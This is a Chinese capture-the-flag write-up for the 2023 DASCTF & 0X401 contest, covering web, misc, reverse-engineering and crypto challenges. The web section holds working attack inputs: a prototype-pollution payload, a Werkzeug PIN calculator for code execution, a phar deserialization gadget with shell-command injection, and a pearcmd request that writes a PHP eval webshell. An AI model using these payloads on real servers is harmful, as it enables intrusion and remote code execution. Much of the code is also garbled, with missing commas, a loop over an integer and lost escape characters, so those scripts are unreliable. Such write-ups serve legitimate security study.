2023DASCTF&0X401 WriteUp

admin 2024年10月13日15:54:07评论21 views字数 21731阅读72分26秒阅读模式
2023DASCTF&0X401 WriteUp

Web

EzFlask

Python 原型链污染,可以看看这篇文章:https://tttang.com/archive/1876

通过修改__file__读取文件,计算PIN码进行RCE2023DASCTF&0X401 WriteUp

{"username":"1","password":"1","u005fu005fu0069u006eu0069u0074u005fu005f":{"u005fu005fu0067u006cu006fu0062u0061u006cu0073u005fu005f":{"u005fu005fu0066u0069u006cu0065u005fu005f":"/proc/self/cgroup"}}}
import hashlib
from itertools import chain

probably_public_bits = [
    'root' 
    'flask.app',  
    'Flask',  
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '2596073883174'
    '96cec10d3d9307792745ec3b85c89620docker-c1408799c329584471ab10a3567a1d9bb72fb760be2fde2b60c04b9447c4f82c.scope'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 543:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

2023DASCTF&0X401 WriteUp

MyPicDisk

存在万能密码登录,获取y0u_cant_find_1t.zip文件 跟进文件可知是phar反序列化,使用如下代码生成phar文件

<?php

class FILE{
    public $filename;
    public $lasttime;
    public $size;
    public function __construct($filename){
        $this->filename = $filename;
    }
}

$a = new FILE("/;cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();

然后上传图片,最后进行触发2023DASCTF&0X401 WriteUp

ez_cms

pearcmd!栓Q

/?+config-create+/&r=../../../../../../../../../usr/share/pear/pearcmd&<?=eval($_REQUEST[1]);?>+/tmp/aaa123.php
2023DASCTF&0X401 WriteUp
2023DASCTF&0X401 WriteUp

ez_timing

使用HTTP/2可以进行访问2023DASCTF&0X401 WriteUp

使用HEAD请求读取key2023DASCTF&0X401 WriteUp

然后伪造Cookie读取源码2023DASCTF&0X401 WriteUp

看源码

import time
from flask import Flask, session,request
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

FLAG = os.environ["SECRET"]
assert " " not in FLAG

TINY_TIME = 6.114514 * 10 ** -44


@app.route("/")
def index():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!,cancan /filen'.format(session['user'])

@app.route('/getkey')
def getkey():
    if request.method != "GET":
        session["key"] = app.config['SECRET_KEY']
    else:
        return "GET is not allowdn"

@app.route("/file")
def read():
    if session.get('user') != "admin":
        return "User not admin! getkey first!n"
    else:
        with open(__file__) as f:
            return f.read()

@app.route("/<secret>")
def check_flag(secret):
    if len(secret) != len(FLAG):
        return "WAKUWAKU!"
    for a, b in zip(secret, FLAG):
        if a == " ":
            continue
        elif a != b:
            return "WRONG!"
        else:
            time.sleep(TINY_TIME)
    if " " in secret:
        return "WRONG!"

在想是不是需要通过时间的差异来获取字符,但是直接来时间太短了。因此在google搜了一下CTF "HTTP/2" "timing"

搜到第一篇github项目https://github.com/ConnorNelson/spaceless-spacing

基本和这个题一模一样,并且还有利用脚本,因此修改一下脚本

将target修改为target = 'http://139.155.99.122:12003/'.rstrip("/")

将request_a和request_b添加"Cookie": "session=eyJ1c2VyIjoiYWRtaW4ifQ.ZLuUUw.8r_hM2qVcb9wYbB13Z06ZYZq-gQ"

字典加个_

长度爆破出来是19,因此直接改

然后运行脚本2023DASCTF&0X401 WriteUp

有个字符错了,按照单词来说应该是attack

因此得到flag为dasctf{time_attack}

Misc

ezFAT32

首先用winhex打开,发现在空余空间有个hint2023DASCTF&0X401 WriteUp

然后往下拉,发现一个bmp2023DASCTF&0X401 WriteUp

由于我直接提取没提取出来,因此写个脚本截取,可以知道8a dd 31 00是这个bmp的大小,转换过来是3267978

f = open('fs - 副本.img','rb').read()
data = f[0x100800:0x100800+3267978]
fw = open('out.bmp','wb').write(data)

然后计算一下sha256即可

1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5

然后看了一下这个镜像就没别的东西了,一直在思考bmp隐写又在想如果隐写了文件进去他是怎么做到提前知道密码的

一直等到更新附件,最后用附件里面的flag.zip,使用这个sha256值来解

最后得到flag

dasctf{Yep_Y0u_F1nd_The_F1ag!Suff3r_t0_rec0ver}

Coffee desu!

https://zh.wikipedia.org/zh-sg/%E8%B6%85%E6%96%87%E6%9C%AC%E5%92%96%E5%95%A1%E5%A3%B6%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE

按照要求,猜测先BREW再WHEN然后再PROPFIND最后GET

先BREW2023DASCTF&0X401 WriteUp

The resource identified by the request is only capable of generating response entities which have content characteristics not acceptable according to the accept headers sent in the request.2023DASCTF&0X401 WriteUp

2023DASCTF&0X401 WriteUp

添加上即可ADD,然后用刚刚说的顺序,但是最后的时候GET出来还是开头的You should add the milktea before getting the coffee!

因此第二次我只BREW不WHEN,直接去GET即可得到flag2023DASCTF&0X401 WriteUp

Rev

controlflow

修改返回地址来劫持控制流,因为代码片段少可以在首部下断点或通过调试查看栈来获取调用顺序。

"""
c[i]^0x401
c[i]+=i*i
    c[i]^=i*(i+1) ... [10,30]
c[i]-=i
c[i]=3*c[i]
for i in range(10,30,2):
    c[i],c[i+1]=c[i+1],c[i]
"""

enc=[0x00000CCF0x00000CC00x00000CFC0x00000CD80x00000D230x00000D110x00000DC80x00000D7D0x00000DAA0x00000E2B0x00000E7C0x00000E5B0x00000EA90x00000ECA0x00000F5A0x00000F5A0x00000FB10x0000104D0x000010950x0000117C0x0000137D0x000012F30x0000142E0x0000141C0x000012330x000012870x000011F40x000017580x000014610x0000122A0x000017820x000017F70x000019110x0000194D0x00001A100x00001AEB0x00001B900x00001CE60x00001DE20x00001ED2]

for i in range(10,30,2):
    enc[i],enc[i+1]=enc[i+1],enc[i]
for i in range(len(enc)):
    enc[i]//=3
    enc[i]+=i
for i in range(10,30,1):
    enc[i]^=(i-10)*(i-10+1)
for i in range(len(enc)):
    enc[i]-=i*i
    enc[i]^=0x401
print(bytes(enc))

webserver

根据字符串信息可得知程序基于oatpp框架开发,程序无符号,所以尝试编译一份demo,可参考https://blog.51cto.com/u_13999641/5101994,编译完成后使用bindiff恢复符号。

// 自定义请求处理程序
class Handler : public oatpp::web::server::HttpRequestHandler
{
public:
    // 处理传入的请求,并返回响应
    std::shared_ptr<OutgoingResponse> handle(const std::shared_ptr<IncomingRequest>& request) override {
        O_UNUSED(request);

        return ResponseFactory::createResponse(Status::CODE_200, "Hello, World!");
    }
};

对创建相应函数oatpp::web::protocol::http::outgoing::ResponseFactory::createResponse交叉引用来寻找关键代码,可找到明文解密函数 sub_404955 和 关键函数 sub_40617E。

2023DASCTF&0X401 WriteUp
image-20230722162224132

z3解线性运算即可

from z3 import *
v16=[0]*40
v16[0] = 33211;
v16[1] = 36113;
v16[2] = 28786;
v16[3] = 44634;
v16[4] = 30174;
v16[5] = 39163;
v16[6] = 34923;
v16[7] = 44333;
v16[8] = 33574;
v16[9] = 23555;
v16[10] = 35015;
v16[11] = 42724;
v16[12] = 34160;
v16[13] = 49166;
v16[14] = 35770;
v16[15] = 45984;
v16[16] = 39754;
v16[17] = 51672;
v16[18] = 38323;
v16[19] = 27511;
v16[20] = 31334;
v16[21] = 34214;
v16[22] = 28014;
v16[23] = 41090;
v16[24] = 29258;
v16[25] = 37905;
v16[26] = 33777;
v16[27] = 39812;
v16[28] = 29442;
v16[29] = 22225;
v16[30] = 30853;
v16[31] = 35330;
v16[32] = 30393;
v16[33] = 41247;
v16[34] = 30439;
v16[35] = 39434;
v16[36] = 31587;
v16[37] = 46815;
v16[38] = 35205;
v16[39] = 20689;
v17=[0x000000170x0000000D0x000000040x000000300x000000290x000000290x0000002A0x000000210x0000001E0x000000030x000000450x000000010x0000000D0x0000002D0x000000290x000000400x000000080x000000500x0000000F0x0000002A0x000000380x000000130x0000003E0x000000460x000000170x0000003F0x0000001E0x000000440x000000110x000000380x0000005C0x0000000C0x000000100x000000400x0000001F0x000000030x000000110x000000470x0000003A0x000000090x000000400x000000530x000000470x000000340x000000630x000000590x0000004C0x000000440x000000010x000000630x000000100x000000100x000000340x0000002B0x000000000x0000002C0x000000320x000000200x000000320x0000001F0x000000140x0000003F0x000000020x000000630x000000000x000000390x0000004F0x0000002B0x000000470x000000130x000000500x0000005C0x0000005D0x0000003A0x000000540x0000004A0x000000510x0000002D0x000000370x000000150x000000010x000000630x0000001E0x0000001C0x000000380x000000010x0000000C0x0000004D0x0000005C0x000000040x000000250x000000430x0000003C0x000000360x000000330x0000004F0x000000260x000000570x000000300x00000010]
mc=[Int("mc%d"%i) for i in range(40)]
s=Solver()
for k in range(4):
    for m in range(10):
        for n in range(10):
            v16[10 * k + m] -= mc[10 * k + n] * v17[10 * n + m]
for i in range(4):
    for j in range(10):
        s.add(v16[10*i+j]==0)
if s.check()==z3.sat:
    m=s.model()
    for i in range(40):
        print(chr(m[mc[i]].as_long()),end='')

tcp

首先192.168.25.54向192.168.10.137发送RSA的公钥(n,e)。

5fcef0e867349fc68f40763a6b0bde0101000100000000000000000000000000,很明显的e值0x10001。

之后服务端用 sub_2090进行RSA加密,8字节加密后保存为16字节,最后发送16*6=96字节的数据,用于传出后续加解密的key。

sub_1D9A用于解密,如果长度小于15就是异或,大于15使用tea解密。

2023DASCTF&0X401 WriteUp
image-20230722164942152

之后服务端循环接受客户端传来的12字节作为控制码,结构是3个dword,第一个用于决定操作类型,第三个是有效数据长度,第二个则为存储偏移或校检等。

操作类型: 1对应解密输出,2对应解密后存储,3对应输入并存储,4是输出,5执行写入的shellcode,6退出。

按顺序解析流量包中客户端发来的数据,ans是使用tea解密后的结果,tea的key为96字节解密后为48字节,前32字节对应4个8字节的tea的key,后16字节则为已获得key。

from Crypto.Util.number import *
import gmpy2 as gp
n=0x1DE0B6B3A76408FC69F3467E8F0CE5F  #在线分解n
p=1152921504606848051
q=2152921504606847269
e=0x10001
d=gp.invert(e,(p-1)*(q-1))
# print(isPrime(p),isPrime(q))
data="7a3202cc78acb66216341041b18ea201a3eb93301b27a2b6e77cb244d2e02c0082cd6369f3a7c1d2a1dd9b561c98510017c911f2ac5ec565e2d9b9016df34900661212d889172b99954d25018b5d43012e81783c2d8cebedeb053ccd651de400"
k=b""
for i in range(0,len(data),32):
    c=bytes.fromhex(data[i:i+32])[::-1]
    c=int(c.hex(),16)
    k+=long_to_bytes(pow(c,d,n))
    print(long_to_bytes(pow(c,d,n)))

"""
databuf : DWORD *4  BYTE[16]
"""

teak=[int.from_bytes(k[i:i+8],"little"for i in range(0,32,8)]
for i in teak:
    print(hex(i),end=',')
print()

op1=bytearray(bytes.fromhex("15cb56c17b19fb2de6db8472"))
for i in range(len(op1)):
    op1[i]^=k[i+32]
print(op1.hex()) #(1,0,0x22)
s="16cb56c17a19fb2ddcdb8472d52d1d6b1693164a13316a33be05bc1c4a2029b9efbf96dc917da5056d3ee46c2b0815cb56c17b19fb2de6db847211fd382bc3eb739037f7dfa4b0ca553f4dc67f81b71b7f9215cb56c17819fb2dd6db84727c8526cc3d6383bbcf0159590648586e7dd08b49cc1ee7f519ec206592254842b7f33d25646640ab16cb56c17a19fb2de5db8472c008ba6c15334f76485d8c17082f4468addbb3a62d20e754105d1014cb56c17a19fb2dfedb847215cb56c17219fb2dbdd984723419b3ea63306ff1224173d834b1f9c436332f39ec2aa102bb7747859d50793674b05a56f14ee29491895944cbf1f6846a9831f8dd5666202c4b0d558a690239b1dece4322fe535c0742cc2f37378577b999eaab713d853643bc379dac7f7f471ef2240b8898fac4431149aa27a65507db39a9111dea802a803506fbd4a2d558068974f993dcab4587a5620db6909a951dcf8bb65d4f8e92ac8300fd049bb3218199705babb255e7daef40a28c1d7e3f74cb1d44687be127258aafc4dbdaf09266daa68605e250aa244c179d759d22e90ed3d8a9bf155fae86c721ed8ee5603c4613ac47e5a80079b909727277fff31d20529b3c022e3b1a3616d639ca036586ef17d3dc9bdf1eeec5859f0022514f29b240f30c818e7fdd478f36779978c08885b2266e3cf599d0a4c27bca4615720a08e13916ec4a6ef5c943ddb25566e620726f56c5160913564d683badcc7204ec8e7080221de325a431a0680e9e108e427c7bc3807b86c78820bc9c2340709da352d953aea805a04b53f2d88f7b8fae50e5ba2de55615bc9b2e526167226e75f5c8827593281f23a65e5098e0e8e2623ee4f892bac76e6987a05832bc0b84215bb74ed83786bd55265e61ba5702170fda63e01a44d6b8a6f1740a6c03803095e5176bde18ee873dcd6380de9f325f1c436c11e3250cebceceb319a49a4e3f2f62cfd137b602e27f3974a113df414287da48afd9e8c7ef0bdb4d345313b52d662202f543f426f8271432a20186b1dc7f70d4123def1c3745c1ffe7f4017ff60e0b7486f0e8db90889a36072583ddb26dbd37778115cb56c17e19fb2d5edb847263424fb4921f224eb2d445183f9bc6541d1ac77072a6e616e6826cbbebe96af229e79620462869e51686d4d523f782b2e5b43a769403bf62f1b87512013f95d068dc04beb337f8741b471386a7746ebc7b9c7a9568ed9b590936cdc533f6f943e3a37966362b62092ce5a3c53a95b33d0ff1ac2c5800b67b8cc40d614b8df74d4114d4bb7104b545ac7d0b9eb606578fd63561578740ce7eeaa189baacd436ae15cb56c17f19fb2d5edb8472ecc4942bbc4e2bbec5c4adb791a7096298f6347c4a277364cea894234bdcf69811f31ce644bae10edc0de4ccc200a44fa0e2faa4d2eb3b28dcecc3a468efdbfa7de2728b27dfafd1a5df4803a7986cfa768fb1f9751ba1a7d47c9a6928978810d76dceb819738f4684637d3ddd2cc41e2a4585a366d4a46b32db59508f34bf5c654be7b5c86e24cca5d1013738c32ba9b6083e76e0f93c80fe712261841e546315cb56c17c19fb2d5edb847260fd338fdcecb096e26a56603082a58f5b1fb0ffb7fc8faac33589ec52ed02256aba88b2c2836433a5d146c6efe784d47da7a7ffc4256f3dce73314c0171f89e9a4f6a95f59e8460d2b65fe178daba5faf8d34d99e32a50aefbbb7ed9c9507765958870dd2e1836fe608215ca753a7125f3cb86ac32d1149cf2a144b873fc7a96914d376ed2fe88d36a609596a68d8bb76e71d1b81a8db3618271f002ff6fb5815cb56c17d19fb2d5edb8472b72d657abc1a3c2133fa45fd834d28fce3b5bdd8f111bfa61386a306aa74598ea6e5022f4aac8d9acd442c44465eb334c26d060dfc8f4f59c13f3225a5ea111f9e3e9ef4c75f40b85c43dbdd5d30970cde507cd96fa6a88970e23c1dc1cb9a1eab2f4cc16444226aff6c49dd13e030240ea32267a1699b5b8c83d05c1cc257f5028d649e2b58d96a1f59fcd42f027179e7400f2c64c3063ae1f9c496ec019eba12cb56c17219fa2dfedb847213cb56c17919fb2dfedb847211cb56c17a19fb2dfedb8472"
cur=0

while cur<len(s):
    op1 = bytearray(bytes.fromhex(s[cur:cur+24]))
    cur+=24
    for i in range(len(op1)):
        op1[i] ^= k[i + 32]
    op=[int.from_bytes(op1[i:i+4],"little"for i in range(0,12,4)]
    print(op)
    print(list(bytes.fromhex(s[cur:cur+2*op[-1]])))
    cur+=2*op[-1]
ans1=[72,101,108,108,111,44,32,116,104,105,115,32,105,115,32,116,104,101,32,114,101,109,111,116,101,32,115,101,114,118,101,114,46,10#print
#2 1
ans2=[89,111,117,114,32,105,110,112,117,116,32,105,115,32,105,110,99,111,114,114,101,99,116,10]
#2 2
ans3=[89,111,117,114,32,105,110,112,117,116,32,105,115,32,99,111,114,114,101,99,116,32,44,32,67,111,110,103,114,97,116,117,108,97,116,105,111,110,115,10]
ans4=[80,108,101,97,115,101,32,101,110,116,101,114,32,121,111,117,114,32,112,97,115,115,119,111,114,100,10#print
# 3 0 0  调用scanf
# 2 8
ans5=[243,15,30,250,85,72,137,229,72,131,236,48,72,137,125,216,199,69,232,0,0,0,0,235,4,131,69,232,1,139,69,232,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,133,192,117,226,131,125,232,40,15,133,234,0,0,0,72,139,69,216,72,137,199,232,46,1,0,0,199,69,236,0,0,0,0,235,126,139,69,236,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,193,248,16,137,69,248,139,69,236,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,37,255,255,0,0,137,69,252,139,69,236,5,88,2,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,57,69,248,117,126,139,69,236,5,188,2,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,0,57,69,252,117,94,131,69,236,1,131,125,236,39,15,142,120,255,255,255,199,69,240,0,0,0,0,235,60,139,69,240,5,200,0,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,85,240,129,194,44,1,0,0,72,99,210,72,141,12,149,0,0,0,0,72,139,85,216,72,1,202,139,0,137,2,131,69,240,1,131,125,240,99,126,190,235,78,144,235,1,144,199,69,244,0,0,0,0,235,58,139,69,244,131,192,100,72,152,72,141,20,133,0,0,0,0,72,139,69,216,72,1,208,139,85,244,129,194,44,1,0,0,72,99,210,72,141,12,149,0,0,0,0,72,139,85,216,72,1,202,139,0,137,2,131,69,244,1,131,125,244,99,126,192,144,201,195,243,15,30,250,85,72,137,229,72,137,125,232,199,69,248,0,0,0,0,235,77,139,69,248,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,8,139,69,248,5,144,1,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,16,139,69,248,72,152,72,141,52,133,0,0,0,0,72,139,69,232,72,1,240,49,202,137,16,131,69,248,1,131,125,248,39,126,173,199,69,252,0,0,0,0,235,77,139,69,252,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,8,139,69,252,5,244,1,0,0,72,152,72,141,20,133,0,0,0,0,72,139,69,232,72,1,208,139,16,139,69,252,72,152,72,141,52,133,0,0,0,0,72,139,69,232,72,1,240,1,202,137,16,131,69,252,1,131,125,252,39,126,173,144,144,93,195]

# 2 4
ans6=[16,228,39,34,62,210,76,123,160,154,193,42,187,247,182,24,56,14,96,90,42,203,34,122,92,138,200,54,251,176,182,81,204,224,163,100,174,224,175,17,217,221,213,1,106,249,216,65,177,197,188,59,80,142,218,4,116,200,94,94,15,76,118,122,120,243,178,46,125,204,122,75,224,202,171,61,160,167,75,33,183,223,166,32,30,67,70,15,67,153,214,126,99,2,137,54,64,31,33,29,195,194,250,63,199,229,58,24,65,112,151,50,222,214,4,49,198,233,63,121,75,110,136,75,238,186,44,83,4,188,140,116,235,8,74,118,169,178,227,107,60,202,236,78,21,212,108,112,5,61,172,34,56,123,163,32,226,180,16,85]
# 2 5
ans7=[89,0,0,0,51,0,0,0,10,0,0,0,46,0,0,0,33,0,0,0,25,0,0,0,64,0,0,0,84,0,0,0,66,0,0,0,82,0,0,0,16,0,0,0,74,0,0,0,56,0,0,0,88,0,0,0,37,0,0,0,52,0,0,0,25,0,0,0,97,0,0,0,37,0,0,0,86,0,0,0,49,0,0,0,8,0,0,0,74,0,0,0,31,0,0,0,9,0,0,0,21,0,0,0,21,0,0,0,77,0,0,0,38,0,0,0,49,0,0,0,65,0,0,0,79,0,0,0,52,0,0,0,75,0,0,0,78,0,0,0,37,0,0,0,53,0,0,0,42,0,0,0,22,0,0,0,19,0,0,0]
# 2 6
ans8=[39,34,0,0,76,123,0,0,193,42,0,0,182,24,0,0,96,90,0,0,34,122,0,0,200,54,0,0,182,81,0,0,163,100,0,0,175,17,0,0,213,1,0,0,216,65,0,0,188,59,0,0,218,4,0,0,94,94,0,0,118,122,0,0,178,46,0,0,122,75,0,0,171,61,0,0,75,33,0,0,166,32,0,0,70,15,0,0,214,126,0,0,137,54,0,0,33,29,0,0,250,63,0,0,58,24,0,0,151,50,0,0,4,49,0,0,63,121,0,0,136,75,0,0,44,83,0,0,140,116,0,0,74,118,0,0,227,107,0,0,236,78,0,0,108,112,0,0,172,34,0,0,163,32,0,0,16,85,0,0]
# 2 7
ans9=[173,228,0,0,178,210,0,0,253,154,0,0,38,248,0,0,141,14,0,0,133,203,0,0,103,138,0,0,34,177,0,0,0,225,0,0,51,225,0,0,159,221,0,0,169,249,0,0,191,197,0,0,186,142,0,0,99,200,0,0,110,76,0,0,58,243,0,0,169,204,0,0,181,202,0,0,43,168,0,0,205,223,0,0,51,67,0,0,108,153,0,0,45,2,0,0,55,31,0,0,10,195,0,0,178,229,0,0,129,112,0,0,206,214,0,0,37,234,0,0,74,110,0,0,42,187,0,0,153,188,0,0,3,9,0,0,22,179,0,0,46,202,0,0,142,212,0,0,150,61,0,0,95,123,0,0,178,180,0,0]

k4=[int.from_bytes(bytes(ans6[i:i+4]),"little"for i in range(0,160,4)]
k5=[int.from_bytes(bytes(ans7[i:i+4]),"little"for i in range(0,160,4)]

k6=[int.from_bytes(bytes(ans8[i:i+4]),"little"for i in range(0,160,4)]
k7=[int.from_bytes(bytes(ans9[i:i+4]),"little"for i in range(0,160,4)]
for i in range(40):
    c=(k6[i]<<16)|(k7[i])
    c-=k5[i]
    c^=k4[i]
    print(chr(c),end='')

在.eh_frame_hdr patch写入shellcode(ans5)

import ida_bytes
dt=[ans5]
adr=0x30E4
for i in range(len(dt)):
    patch_byte(adr+i,dt[i])
print("ok")

关键加密,偏移可在12字节中的第二个dword得知。

void __fastcall sub_325F(__int64 a1)
{
  int i; // [rsp+10h] [rbp-8h]
  int j; // [rsp+14h] [rbp-4h]
  for ( i = 0; i <= 39; ++i )
    *(_DWORD *)(4LL * i + a1) ^= *(_DWORD *)(4LL * (i + 400) + a1);
  for ( j = 0; j <= 39; ++j )
    *(_DWORD *)(4LL * j + a1) += *(_DWORD *)(4LL * (j + 500) + a1);
}
for ( j = 0; j <= 39; ++j )
{
      if ( *(int *)(4LL * j + a1) >> 16 != *(_DWORD *)(4LL * (j + 600) + a1)
        || (unsigned __int16)*(_DWORD *)(4LL * j + a1) != *(_DWORD *)(4LL * (j + 700) + a1) )
      {
        goto LABEL_14;
      }
}

解密代码在上文中的python脚本中已经给出。

Crypto

ezDHKE

找一个光滑素数传过去,得到DH密钥和密文

from pwn import *

io=remote('node4.buuoj.cn',25050)
context.log_level='debug'

'''
for i in range(100,10000):
    f=int('7777'+'0'*i+'1')
    if isPrime(f) and f.bit_length()>1024:
        print(f)
        break
'''

p=77770000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001
io.recvuntil('P = ')
io.sendline(str(p))
a=io.recvuntil('n')[:-1]
b=hexlify(io.recvuntil('n')[:-1])
print(a)
print(b)

离散对数解出私钥

G=GF(p)
x=G(x)
y=G(y)
g=G(g)
alice=discrete_log(x,g)
key=pow(y,alice,p)
print(key)

得到密钥key,aes解密得到flag

iv=b'dasctfdasctfdasc'
key=15133344130832325046146116082952055790889763706364743228727434883355452261376687379894776273861103235048652001088712830021784068471422257526796396976910194740764945082910429978169392604477124645088723308629826622191964716085888553741537572074343805234246146760448055698275087981268222159198837461423854400451570293770
key = sha256(long_to_bytes(key)).digest()

aes = AES.new(key, AES.MODE_CBC, iv)
c=b'x99]xc4xc9[xe5xd5x8c"xdfx9d!LQ[a^Mx00:xb6IK<x83xdcx1dR.sx96xabxc2?uzxffx977xb3xedyG<x1dax1da'
print(aes.decrypt(c))
#DASCTF{955d6302-1190-4995-a341-c1e6c2bf9048}

ezRSA

已知P的高16位,用N//P可以求出Q的高x位(为了准确选小一点),然后根据异或,用Q的高x位求出P的高16+x位依次类推,恢复P以及Q。

N=
gift=

pp=bin(gift)[2:][:16]
b=512-16

gift=bin(gift)[2:][16:]

x=5
for i in range((512-16)//x):
    PP=int(pp+'0'*b,2)  #已知高位
    Qb=bin(N//PP)[2:][i*x:x*i+x]  #算出Q的高位,取5
    #print(Qb)
    gb=gift[i*x:i*x+x]
    pb=bin(int(gb,2)^int(Qb,2))[2:].zfill(x)
    pp+=pb
    b-=x
for i in range(3): #还差1位或者两位
    px=int(pp+bin(i)[2:],2)
    if N%px==0:
        p=N//px
        print(p)
        break

RSA解密恢复n,n可能大于N,手动加一个N

q=N//p
assert p*q==N
phi=(p-1)*(q-1)
from gmpy2 import *
from Crypto.Util.number import *
d=invert(11,phi)
c1=
c2=
c3=
n=pow(c1,d,N)+N
print(n)

然后就是相关明文攻击了,由于secret长度未知,直接爆破

#b"dasctf{" + secret + b"}"
#secret

def attack(c1, c2, a, b, e, n):
    PR.< x >= PolynomialRing(Zmod(n))
    g1 = x ^ e - c1
    g2 = (a * x + b) ^ e - c2

    def gcd(g1, g2):
        while g2:
            g1, g2 = g2, g1 % g2
        return g1.monic()

    #return -gcd(g1, g2)[0]
    return -gcd(g1,g2)[0]
for i in range(100):
    b = bytes_to_long(b"dasctf{"+b'x00'*i+b"}")
    flag=(attack(c2, c3, 256, b, 11, n))
    if flag!=n-1:
        print(b'dasctf{'+long_to_bytes(flag)+b'}')

得到flag:dasctf{C0pper_Sm1th_Mak3s_T1ng5_Bet4er}

ezAlgebra

首先根据c1,同余掉p,一元copper求出t

n = 
c1 = 
c2 = 
c3 = 

#xue1=4 ,che1=t+p,kai=n

#(c1-1997)=che^4+che^3+che^2+che
'''
PR.<x> = PolynomialRing(Zmod(n))
f = x^4+x^3+x^2+x-c1+1997
x0 = f.small_roots(X=2^32, beta=0.4)[0]
print(x0)
#2915836867
'''

t=2915836867

把t带回最大公因数求p

from gmpy2 import *
#from Crypto.Util.number import *

f = t**4+t**3+t**2+t-c1+1997
p=gcd(f,n)
#print(isPrime(p),p.bit_length())
N=n//p
print(p)
assert n%p==0

然后两个模q下的19次同解多项式,利用groebner_basis求出q

#xue2=19 che=m*t kai=q
#Qi-1997=che^19+che^18 +....+che

#xue3=19 che=(m+t) kai=q
#Qi-1997=che^19+che^18+....+che

P.<x,y> = PolynomialRing(Zmod(n))
f1=1997-c2
f2=1997-c3
for i in range(1,20):
    f1+=(x*t)^i
    f2+=(x+t)^i
G=[f1,f2]
B=Ideal(G).groebner_basis()
print(B)

q=87038069032840052005520908272237788908169043580221040711149494083975743478969

然后直接在模q下对两个多项式求最大公因式得到解

r=N//q
assert n==p*q*r
P.<x> = PolynomialRing(Zmod(q))
f1=1997-c2
f2=1997-c3
for i in range(1,20):
    f1+=(x*t)^i
    f2+=(x+t)^i
print(-gcd(f1,f2)[0])

然后转字符不对。。。。猜测比q大,爆破。

q=87038069032840052005520908272237788908169043580221040711149494083975743478969
x=56985796272753226120469211992443340429346162287195965942430959147227534853120
from Crypto.Util.number import *
for i in range(10000000):
    flag=long_to_bytes(x+i*q)
    if b'flag' in flag or b'das' in flag:
        print(flag)
        #dasctf{ShangPoXiaPoYaSiLeYiQianDuo}

原文始发于微信公众号(n03tAck):2023DASCTF&0X401 WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月13日15:54:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2023DASCTF&0X401 WriteUphttps://cn-sec.com/archives/1931185.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息